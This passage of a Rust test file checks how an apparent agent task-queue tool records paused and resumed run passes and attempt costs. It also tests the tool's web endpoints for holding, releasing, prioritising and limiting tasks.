16691 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16692 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16693 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16694 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16695 assert_eq!(v.exit, RunExit::Interrupted);
16696 assert_eq!(v.attempt, AttemptCost::Unknown);
16697 }
16698
16699 #[test]
16700 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16701 let v = earlier_pass_view(|s| {
16702 s.quota.push(crate::run::QuotaLoss {
16703 cause: crate::agent::QuotaCause::UsageLimit,
16704 agent: String::new(),
16705 seat: "judge-1".to_owned(),
16706 node: "judge".to_owned(),
16707 at: Timestamp::now(),
16708 reset: None,
16709 });
16710 });
16711 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16712 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16713 assert_eq!(v.attempt, AttemptCost::Unknown);
16714 }
16715
16716 #[test]
16717 fn the_current_pass_states_its_recorded_cause_and_cost() {
16718 let slot = || RunSlot {
16719 n: 1,
16720 resumed: false,
16721 resumed_later: None,
16722 prior: None,
16723 last: true,
16724 ..RunSlot::default()
16725 };
16726 let task = flow_task(&["20260902-140501-aaaa"]);
16727 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16728 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16729 assert_eq!(
16730 (v.exit, v.attempt),
16731 (RunExit::Parked, AttemptCost::Refunded)
16732 );
16733 let spent = flow_run(RunStatus::Blocked, |_| {});
16734 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16735 assert_eq!(v.attempt, AttemptCost::Spent);
16736 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16737 }
16738
16739 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16740 crate::run::RunPass {
16741 index,
16742 started_at: Timestamp::now(),
16743 resumed: index > 0,
16744 ended_at: end.as_ref().map(|_| Timestamp::now()),
16745 end,
16746 task_entry: true,
16747 }
16748 }
16749
16750 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16751 Some(crate::run::PassEnd::Parked { cause })
16752 }
16753
16754 fn upgrade_cause() -> crate::run::ParkCause {
16755 crate::run::ParkCause::Upgrade {
16756 from: "0.121.0".to_owned(),
16757 to: Some("0.121.1".to_owned()),
16758 }
16759 }
16760
16761 fn settled_pass(
16762 run: &str,
16763 index: usize,
16764 cost: crate::queue::PassCost,
16765 ) -> crate::queue::TaskPass {
16766 crate::queue::TaskPass {
16767 run: run.to_owned(),
16768 pass_index: index,
16769 started_at: None,
16770 cost,
16771 attempts_after: 1,
16772 settled_at: Timestamp::now(),
16773 parked: None,
16774 }
16775 }
16776
16777 const RUN_X: &str = "20261011-223708-4334";
16778
16779 #[test]
16780 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16781 use crate::queue::PassCost;
16782 let run = flow_run(RunStatus::Implementing, |s| {
16783 s.passes = vec![
16784 recorded_pass(0, parked(upgrade_cause())),
16785 recorded_pass(1, None),
16786 ];
16787 });
16788 let mut task = flow_task(&[RUN_X, RUN_X]);
16789 task.attempts = 1;
16790 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16791 let h = task_history(&task, |_| Some(run.clone()));
16792 assert_eq!(h.len(), 2);
16793 assert_eq!(h[0].kind, "competition");
16794 assert_eq!(h[1].kind, "resume");
16795 assert_eq!(
16796 (h[0].exit, h[0].attempt),
16797 (RunExit::Parked, AttemptCost::Refunded)
16798 );
16799 assert!(
16800 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16801 "{}",
16802 h[0].outcome
16803 );
16804 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16805 assert!(
16806 h[0].outcome.contains("pass #2 resumed the same run"),
16807 "{}",
16808 h[0].outcome
16809 );
16810 assert!(
16811 h[0].outcome.contains("pass 1 of 2 over run"),
16812 "{}",
16813 h[0].outcome
16814 );
16815 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16816 assert_eq!(
16817 h[0].exit_label,
16818 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16819 );
16820 let f = task_flow(&task, &h, 2, None);
16821 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16823 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16824 assert!(
16825 f.edges[1].label.contains("upgrade 0.121.0"),
16826 "{}",
16827 f.edges[1].label
16828 );
16829 assert!(
16830 f.edges[1].label.contains("resume the same run"),
16831 "{}",
16832 f.edges[1].label
16833 );
16834 assert_eq!(f.nodes[1].note, Some("parked"));
16835 }
16836
16837 #[test]
16838 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16839 let mut a = flow_run(RunStatus::Implementing, |s| {
16840 s.passes = vec![
16841 recorded_pass(0, parked(upgrade_cause())),
16842 recorded_pass(1, None),
16843 ];
16844 });
16845 let mut b = flow_run(RunStatus::Failed, |s| {
16846 s.passes = vec![recorded_pass(0, None)];
16847 });
16848 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16849 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16850 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16851 let mut task = flow_task(&[]);
16852 task.start("a".into());
16853 task.start("b".into());
16854 task.start("a".into());
16855 assert_eq!(task.runs, ["b", "a"]);
16856 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16857 let h = task_history(&task, |id| {
16858 Some(if id == "a" { a.clone() } else { b.clone() })
16859 });
16860 assert_eq!(
16861 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16862 ["a", "b", "a"]
16863 );
16864 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16865 assert!(h[0].outcome.contains("upgrade"));
16866 assert_eq!(h[2].kind, "resume");
16867 assert!(h[2].pass.is_some());
16868 task.runs = vec!["a".into(), "b".into(), "a".into()];
16870 let old = task_history(&task, |id| {
16871 Some(if id == "a" { a.clone() } else { b.clone() })
16872 });
16873 assert_eq!(
16874 old.iter()
16875 .map(|v| (&v.id, &v.kind, v.attempt))
16876 .collect::<Vec<_>>(),
16877 h.iter()
16878 .map(|v| (&v.id, &v.kind, v.attempt))
16879 .collect::<Vec<_>>()
16880 );
16881 }
16882
16883 #[test]
16884 fn an_upgrade_whose_target_was_not_known_says_so() {
16885 let run = flow_run(RunStatus::Implementing, |s| {
16886 s.passes = vec![
16887 recorded_pass(
16888 0,
16889 parked(crate::run::ParkCause::Upgrade {
16890 from: "0.121.0".to_owned(),
16891 to: None,
16892 }),
16893 ),
16894 recorded_pass(1, None),
16895 ];
16896 });
16897 let task = flow_task(&[RUN_X, RUN_X]);
16898 let h = task_history(&task, |_| Some(run.clone()));
16899 assert!(
16900 h[0].outcome.contains("upgrade from 0.121.0"),
16901 "{}",
16902 h[0].outcome
16903 );
16904 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16906 }
16907
16908 #[test]
16909 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16910 use crate::queue::PassCost;
16911 use crate::run::ParkCause;
16912 let run = flow_run(RunStatus::Implementing, |s| {
16913 s.passes = vec![
16914 recorded_pass(0, parked(upgrade_cause())),
16915 recorded_pass(
16916 1,
16917 parked(ParkCause::Interrupt {
16918 reason: "task a1b2 asked to run first".to_owned(),
16919 }),
16920 ),
16921 recorded_pass(2, parked(ParkCause::Operator)),
16922 recorded_pass(3, None),
16923 ];
16924 });
16925 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16926 task.attempts = 1;
16927 task.passes = (0..3)
16928 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16929 .collect();
16930 let h = task_history(&task, |_| Some(run.clone()));
16931 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16932 assert!(
16933 h[1].outcome.contains("task a1b2 asked to run first"),
16934 "{}",
16935 h[1].outcome
16936 );
16937 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16938 assert!(
16939 h[2].outcome.contains("operator asked the loop to park"),
16940 "{}",
16941 h[2].outcome
16942 );
16943 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16944 let f = task_flow(&task, &h, 2, None);
16945 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16946 }
16947
16948 #[test]
16949 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16950 let run = flow_run(RunStatus::Implementing, |s| {
16951 s.passes = vec![
16952 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16953 recorded_pass(1, None),
16954 ];
16955 });
16956 let task = flow_task(&[RUN_X, RUN_X]);
16957 let h = task_history(&task, |_| Some(run.clone()));
16958 assert_eq!(h[0].exit, RunExit::Interrupted);
16959 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16960 assert!(
16961 h[0].outcome.contains("without recording why"),
16962 "{}",
16963 h[0].outcome
16964 );
16965 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16966 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16967 }
16968
16969 #[test]
16970 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16971 use crate::queue::PassCost;
16972 let run = flow_run(RunStatus::Implementing, |s| {
16975 s.passes = vec![
16976 recorded_pass(0, parked(upgrade_cause())),
16977 recorded_pass(1, None),
16978 ];
16979 });
16980 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16981 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16982 let h = task_history(&task, |_| Some(run.clone()));
16983 assert!(h[0].pass.is_none());
16984 assert_eq!(h[0].exit, RunExit::Interrupted);
16985 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16986 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16987 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16988 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16989 let legacy = flow_run(RunStatus::Implementing, |_| {});
16991 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16992 assert!(h.iter().all(|v| v.pass.is_none()));
16993 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16994 }
16995
16996 #[test]
16997 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16998 use crate::queue::PassCost;
16999 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17002 web.task_entry = false;
17003 let run = flow_run(RunStatus::Implementing, |s| {
17004 s.passes = vec![
17005 recorded_pass(0, parked(upgrade_cause())),
17006 web.clone(),
17007 recorded_pass(2, None),
17008 ];
17009 });
17010 let mut task = flow_task(&[RUN_X, RUN_X]);
17011 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17012 let h = task_history(&task, |_| Some(run.clone()));
17013 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17014 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17015
17016 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17019 web0.task_entry = false;
17020 let run = flow_run(RunStatus::Implementing, |s| {
17021 s.passes = vec![web0.clone(), recorded_pass(1, None)];
17022 });
17023 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17024 assert!(h[0].pass.is_none());
17025 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17026 assert!(h[1].pass.is_some());
17027 }
17028
17029 #[tokio::test]
17030 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17031 let dir = tempfile::tempdir().unwrap();
17032 let queue = Queue::at(dir.path().join("queue"));
17033 let ui = Arc::new(Ui::new(
17034 queue.clone(),
17035 Questions::at(dir.path().join("questions")),
17036 Talks::at(dir.path().join("talks")),
17037 dir.path().join("runs"),
17038 dir.path().to_path_buf(),
17039 dir.path().to_path_buf(),
17040 ));
17041 let mut t = Task::new(
17042 "recover".into(),
17043 "Inspect".into(),
17044 PathBuf::from("."),
17045 Source::Human,
17046 );
17047 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17048 t.start("run-A".into());
17049 t.release_operator("choice", Some("resume-question"));
17050 t.resume_override = Some(crate::queue::OperatorResume {
17051 question_id: "resume-question".into(),
17052 at: jiff::Timestamp::now(),
17053 conductor_rehold: None,
17054 forced: true,
17055 pinned_run: Some("run-A".into()),
17056 });
17057 t.hold_machine(Some("inspection pending".into()));
17058 t.edit("recover".into(), "Reuse approved PR head".into())
17059 .unwrap();
17060 queue.put(&mut t).unwrap();
17061 let mut cli = t.clone();
17062 cli.release_operator("cli", None);
17063 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17064 let reloaded = queue.get(&t.id).unwrap();
17065 assert_eq!(reply.task.status, TaskStatus::Queued);
17066 assert!(reloaded.resume_override.is_none());
17067 assert_eq!(reloaded.answers, t.answers);
17068 let mut web = reloaded.resumption.unwrap();
17069 let cli = cli.resumption.unwrap();
17070 assert_eq!(web.source, "web");
17071 web.source = cli.source.clone();
17072 web.at = cli.at;
17073 assert_eq!(web, cli);
17074 }
17075
17076 #[tokio::test]
17077 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17078 let f = Fixture::start().await;
17079 let queue = f.queue();
17080 let mut task = Task::new(
17081 "spent".to_owned(),
17082 "Try again".to_owned(),
17083 PathBuf::from("/repo/magi"),
17084 Source::Human,
17085 );
17086 task.start("20260902-140502-bbbb".to_owned());
17087 task.fail("agent gave up", 9);
17088 queue.put(&mut task).expect("file the task");
17089
17090 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17091 assert_eq!(held.status, 200);
17092 assert_eq!(held.json()["status_str"], "held");
17093
17094 let released = f
17095 .post(&format!("/api/queue/{}/release", task.id), None)
17096 .await;
17097 assert_eq!(released.status, 200);
17098 assert_eq!(released.json()["status_str"], "queued");
17099 assert_eq!(released.json()["resumption"]["source"], "web");
17100 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17101 let mut cli = task.clone();
17102 cli.release_operator("cli", None);
17103 let web = queue.get(&task.id).unwrap().resumption.unwrap();
17104 let cli = cli.resumption.unwrap();
17105 assert_eq!(web.instruction, cli.instruction);
17106 assert_eq!(web.answers_through, cli.answers_through);
17107 assert_eq!(web.runs_through, cli.runs_through);
17108 assert_eq!(web.cleared_reason, cli.cleared_reason);
17109 assert_eq!(
17110 released.json()["attempts"],
17111 0,
17112 "release is a real second chance, not an instant re-hold"
17113 );
17114 assert_eq!(
17115 queue.get(&task.id).expect("reload").status,
17116 TaskStatus::Queued,
17117 "the change is on disk, not only in the reply"
17118 );
17119 assert!(
17120 !f.home
17121 .path()
17122 .join("queue")
17123 .join(format!("{}.lock", task.id))
17124 .exists(),
17125 "the claim the mutation took is released again"
17126 );
17127 }
17128
17129 #[tokio::test]
17130 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17131 let f = Fixture::start().await;
17132 let queue = f.queue();
17133 let mut task = Task::new(
17134 "busy".to_owned(),
17135 "Running right now".to_owned(),
17136 PathBuf::from("/repo/magi"),
17137 Source::Human,
17138 );
17139 queue.put(&mut task).expect("file the task");
17140 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17141
17142 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17143
17144 assert_eq!(res.status, 409);
17145 assert_eq!(
17146 queue.get(&task.id).expect("reload").status,
17147 TaskStatus::Queued,
17148 "the refused hold changed nothing"
17149 );
17150 }
17151
17152 #[tokio::test]
17153 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17154 let f = Fixture::start().await;
17155 let queue = f.queue();
17156 let mut task = Task::new(
17157 "waiting on the migration".to_owned(),
17158 "Do the thing".to_owned(),
17159 PathBuf::from("/repo/magi"),
17160 Source::Human,
17161 );
17162 queue.put(&mut task).expect("file the task");
17163
17164 let held = f
17165 .post(
17166 &format!("/api/queue/{}/hold", task.id),
17167 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17168 )
17169 .await;
17170 assert_eq!(held.status, 200, "{}", held.body);
17171 assert_eq!(held.json()["status_str"], "held");
17172 assert_eq!(
17173 held.json()["hold_reason"],
17174 "waiting for 20260101-000000-aaaa to land"
17175 );
17176
17177 let listed = f.get("/api/queue").await.json();
17178 assert_eq!(
17179 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17180 "the card reads the reason off the same list route"
17181 );
17182
17183 let mut plain = Task::new(
17186 "no reason given".to_owned(),
17187 "Do another thing".to_owned(),
17188 PathBuf::from("/repo/magi"),
17189 Source::Human,
17190 );
17191 queue.put(&mut plain).expect("file the task");
17192 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17193 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17194 assert!(held_plain.json()["hold_reason"].is_null());
17195
17196 let released = f
17197 .post(&format!("/api/queue/{}/release", task.id), None)
17198 .await;
17199 assert_eq!(released.status, 200);
17200 assert!(
17201 released.json()["hold_reason"].is_null(),
17202 "a release must clear the reason so the next hold does not inherit it"
17203 );
17204 }
17205
17206 #[test]
17207 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17208 for urgent in [true, false] {
17209 let body: UrgentBody =
17210 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17211 assert_eq!(body.urgent, urgent);
17212 }
17213 for input in [
17214 r#"{}"#,
17215 r#"{"urgent":null}"#,
17216 r#"{"urgent":"true"}"#,
17217 r#"{"urgent":1}"#,
17218 r#"{"urgent":true,"extra":false}"#,
17219 ] {
17220 assert!(
17221 serde_json::from_str::<UrgentBody>(input).is_err(),
17222 "{input}"
17223 );
17224 }
17225 }
17226
17227 #[tokio::test]
17228 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17229 let home = TempDir::new().unwrap();
17230 let q = Queue::at(home.path().join("queue"));
17231 let ui = Arc::new(Ui::new(
17232 q.clone(),
17233 Questions::at(home.path().join("questions")),
17234 Talks::at(home.path().join("talks")),
17235 home.path().join("runs"),
17236 home.path().into(),
17237 home.path().into(),
17238 ));
17239 let mut task = Task::new(
17240 "urgent handler".into(),
17241 "keep".into(),
17242 home.path().into(),
17243 Source::Human,
17244 );
17245 for status in [TaskStatus::Queued, TaskStatus::Held] {
17246 task.status = status;
17247 q.put(&mut task).unwrap();
17248 for urgent in [true, true, false, false] {
17249 let saved = queue_urgent(
17250 State(Arc::clone(&ui)),
17251 Path(task.short().into()),
17252 Ok(Json(UrgentBody { urgent })),
17253 )
17254 .await
17255 .unwrap();
17256 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17257 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17258 }
17259 }
17260 task.status = TaskStatus::Queued;
17261 q.put(&mut task).unwrap();
17262 let claim = q.claim(&task.id).unwrap();
17263 let error = queue_urgent(
17264 State(Arc::clone(&ui)),
17265 Path(task.id.clone()),
17266 Ok(Json(UrgentBody { urgent: true })),
17267 )
17268 .await
17269 .unwrap_err();
17270 assert_eq!(error.status, StatusCode::CONFLICT);
17271 assert!(error.message.contains("released"));
17272 drop(claim);
17273 for status in [
17274 TaskStatus::Running,
17275 TaskStatus::Done,
17276 TaskStatus::Failed,
17277 TaskStatus::Blocked,
17278 TaskStatus::Parked,
17279 ] {
17280 task.status = status;
17281 q.put(&mut task).unwrap();
17282 let error = queue_urgent(
17283 State(Arc::clone(&ui)),
17284 Path(task.id.clone()),
17285 Ok(Json(UrgentBody { urgent: false })),
17286 )
17287 .await
17288 .unwrap_err();
17289 assert_eq!(error.status, StatusCode::BAD_REQUEST);
17290 assert!(error.message.contains(status.as_str()));
17291 }
17292 }
17293
17294 #[tokio::test]
17295 async fn urgent_api_updates_preserves_and_validates_tasks() {
17296 let f = Fixture::start().await;
17297 let q = f.queue();
17298 let mut t = Task::new(
17299 "urgent API".into(),
17300 "unchanged".into(),
17301 PathBuf::from("/repo/magi"),
17302 Source::Human,
17303 );
17304 t.attempts = 2;
17305 t.priority = 9;
17306 t.interrupt = true;
17307 t.hold_reason = Some("waiting for approval".into());
17308 for status in [TaskStatus::Queued, TaskStatus::Held] {
17309 t.status = status;
17310 q.put(&mut t).unwrap();
17311 for urgent in [true, true, false, false] {
17312 let response = f
17313 .post(
17314 &format!("/api/queue/{}/urgent", t.short()),
17315 Some(&format!("{{\"urgent\":{urgent}}}")),
17316 )
17317 .await;
17318 assert_eq!(response.status, 200, "{}", response.body);
17319 assert_eq!(response.json()["urgent"], urgent);
17320 let saved = q.get(&t.id).unwrap();
17321 let mut before = serde_json::to_value(&t).unwrap();
17322 let mut after = serde_json::to_value(saved).unwrap();
17323 before["urgent"] = urgent.into();
17324 before.as_object_mut().unwrap().remove("updated_at");
17325 after.as_object_mut().unwrap().remove("updated_at");
17326 assert_eq!(after, before);
17327 }
17328 }
17329 let route = format!("/api/queue/{}/urgent", t.id);
17330 for body in [
17331 r#"{}"#,
17332 r#"{"urgent":null}"#,
17333 r#"{"urgent":"true"}"#,
17334 r#"{"urgent":1}"#,
17335 r#"{"urgent":true,"extra":false}"#,
17336 "{",
17337 ] {
17338 assert_eq!(f.post(&route, Some(body)).await.status, 400);
17339 }
17340 t.status = TaskStatus::Queued;
17341 q.put(&mut t).unwrap();
17342 let claim = q.claim(&t.id).unwrap();
17343 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17344 assert_eq!(response.status, 409, "{}", response.body);
17345 assert!(!q.get(&t.id).unwrap().urgent);
17346 drop(claim);
17347 for status in [
17348 TaskStatus::Running,
17349 TaskStatus::Done,
17350 TaskStatus::Failed,
17351 TaskStatus::Blocked,
17352 TaskStatus::Parked,
17353 ] {
17354 t.status = status;
17355 q.put(&mut t).unwrap();
17356 for urgent in [true, false] {
17357 let response = f
17358 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17359 .await;
17360 assert_eq!(response.status, 400, "{}", response.body);
17361 assert!(response.body.contains(status.as_str()));
17362 assert!(response.body.contains("queued or held"));
17363 assert!(!q.get(&t.id).unwrap().urgent);
17364 }
17365 }
17366 assert_eq!(
17367 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17368 .await
17369 .status,
17370 404
17371 );
17372 }
17373
17374 #[tokio::test]
17375 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17376 let f = Fixture::start().await;
17377 let queue = f.queue();
17378 let mut older = Task::new(
17379 "filed first".to_owned(),
17380 "x".to_owned(),
17381 PathBuf::from("/repo/magi"),
17382 Source::Human,
17383 );
17384 older.id = "20260101-000001-aaaa".to_owned();
17385 let mut newer = Task::new(
17386 "filed second".to_owned(),
17387 "x".to_owned(),
17388 PathBuf::from("/repo/magi"),
17389 Source::Human,
17390 );
17391 newer.id = "20260101-000002-bbbb".to_owned();
17392 queue.put(&mut older).expect("file older");
17393 queue.put(&mut newer).expect("file newer");
17394
17395 let before = f.get("/api/queue").await.json();
17398 assert_eq!(before[0]["id"], newer.id);
17399 assert_eq!(before[1]["id"], older.id);
17400
17401 let raised = f
17405 .post(
17406 &format!("/api/queue/{}/priority", older.id),
17407 Some(r#"{"priority":10}"#),
17408 )
17409 .await;
17410 assert_eq!(raised.status, 200, "{}", raised.body);
17411 assert_eq!(raised.json()["priority"], 10);
17412
17413 let after = f.get("/api/queue").await.json();
17414 let names: Vec<&str> = after
17415 .as_array()
17416 .unwrap()
17417 .iter()
17418 .map(|t| t["id"].as_str().unwrap())
17419 .collect();
17420 assert_eq!(names[0], older.id, "the raised task now sorts first");
17424 }
17425
17426 #[tokio::test]
17427 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17428 let dir = TempDir::new().unwrap();
17429 let q = Queue::at(dir.path().join("queue"));
17430 let ui = Arc::new(Ui::new(
17431 q.clone(),
17432 Questions::at(dir.path().join("questions")),
17433 Talks::at(dir.path().join("talks")),
17434 dir.path().join("runs"),
17435 dir.path().to_path_buf(),
17436 dir.path().to_path_buf(),
17437 ));
17438 let mut t = Task::new(
17439 "budget".into(),
17440 "keep".into(),
17441 dir.path().into(),
17442 Source::Human,
17443 );
17444 t.attempts = 2;
17445 t.runs.push("prior-run".into());
17446 t.hold_manual(Some("waiting".into()));
17447 q.put(&mut t).unwrap();
17448 let change = |value| {
17449 queue_attempt_limit(
17450 State(ui.clone()),
17451 Path(t.id.clone()),
17452 Ok(Json(AttemptLimitBody {
17453 attempt_limit: value,
17454 })),
17455 )
17456 };
17457 for value in [
17458 serde_json::json!(3),
17459 serde_json::Value::Null,
17460 serde_json::json!(1),
17461 ] {
17462 let response = change(value.clone()).await.unwrap();
17463 assert_eq!(
17464 serde_json::to_value(response.0).unwrap()["attempt_limit"],
17465 value
17466 );
17467 let saved = q.get(&t.id).unwrap();
17468 assert_eq!(
17469 serde_json::to_value(&saved).unwrap()["attempt_limit"],
17470 value
17471 );
17472 assert_eq!(saved.status, TaskStatus::Held);
17473 assert_eq!(saved.attempts, t.attempts);
17474 assert_eq!(saved.runs, t.runs);
17475 assert_eq!(saved.hold_reason, t.hold_reason);
17476 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17477 .await
17478 .unwrap()
17479 .0;
17480 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17481 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17482 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17483 assert_eq!(outcome.max_attempts, detail.max_attempts);
17484 }
17485 for value in [
17486 serde_json::json!(0),
17487 serde_json::json!(-1),
17488 serde_json::json!(1.5),
17489 serde_json::json!("3"),
17490 serde_json::json!(true),
17491 ] {
17492 assert_eq!(
17493 change(value).await.err().unwrap().status,
17494 StatusCode::BAD_REQUEST
17495 );
17496 }
17497 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17498 let claim = q.claim(&t.id).unwrap();
17499 assert_eq!(
17500 change(serde_json::json!(4)).await.err().unwrap().status,
17501 StatusCode::CONFLICT
17502 );
17503 drop(claim);
17504 for status in [
17505 TaskStatus::Running,
17506 TaskStatus::Done,
17507 TaskStatus::Failed,
17508 TaskStatus::Blocked,
17509 TaskStatus::Parked,
17510 ] {
17511 let mut stored = q.get(&t.id).unwrap();
17512 stored.status = status;
17513 q.put(&mut stored).unwrap();
17514 assert_eq!(
17515 change(serde_json::json!(4)).await.err().unwrap().status,
17516 StatusCode::BAD_REQUEST
17517 );
17518 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17519 }
17520 let mut stored = q.get(&t.id).unwrap();
17521 stored.status = TaskStatus::Queued;
17522 q.put(&mut stored).unwrap();
17523 let _ = change(serde_json::Value::Null).await.unwrap();
17524 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17525 }
17526
17527 #[tokio::test]
17528 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17529 let dir = TempDir::new().unwrap();
17530 let repo = dir.path().join("repo");
17531 std::fs::create_dir(&repo).unwrap();
17532 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17533 let q = Queue::at(dir.path().join("queue"));
17534 let ui = Arc::new(Ui::new(
17535 q.clone(),
17536 Questions::at(dir.path().join("questions")),
17537 Talks::at(dir.path().join("talks")),
17538 dir.path().join("runs"),
17539 dir.path().to_path_buf(),
17540 repo.clone(),
17541 ));
17542 let mut t = Task::new(
17543 "seats".into(),
17544 "keep instruction".into(),
17545 repo,
17546 Source::Human,
17547 );
17548 t.runs.push("prior-run".into());
17549 t.hold_manual(Some("waiting".into()));
17550 q.put(&mut t).unwrap();
17551 let change = |count| {
17552 queue_implementers(
17553 State(ui.clone()),
17554 Path(t.id.clone()),
17555 Ok(Json(ImplementersBody {
17556 implementers: count,
17557 })),
17558 )
17559 };
17560 for count in [2, 1, 2] {
17561 let response = change(count).await.unwrap();
17562 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17563 let saved = q.get(&t.id).unwrap();
17564 assert_eq!(saved.implementers(), Some(usize::from(count)));
17565 assert_eq!(saved.runs, t.runs);
17566 assert_eq!(saved.instruction, t.instruction);
17567 }
17568 for count in [0, 4] {
17569 assert_eq!(
17570 change(count).await.err().unwrap().status,
17571 StatusCode::BAD_REQUEST
17572 );
17573 }
17574 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17575 let claim = q.claim(&t.id).unwrap();
17576 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17577 drop(claim);
17578 for status in [
17579 TaskStatus::Running,
17580 TaskStatus::Done,
17581 TaskStatus::Failed,
17582 TaskStatus::Blocked,
17583 TaskStatus::Parked,
17584 ] {
17585 let mut stored = q.get(&t.id).unwrap();
17586 stored.status = status;
17587 q.put(&mut stored).unwrap();
17588 assert_eq!(
17589 change(1).await.err().unwrap().status,
17590 StatusCode::BAD_REQUEST
17591 );
17592 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17593 }
17594 }
17595
17596 #[tokio::test]
17597 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17598 let f = Fixture::start().await;
17599 let queue = f.queue();
17600 let mut task = Task::new(
17601 "in flight".to_owned(),
17602 "x".to_owned(),
17603 PathBuf::from("/repo/magi"),
17604 Source::Human,
17605 );
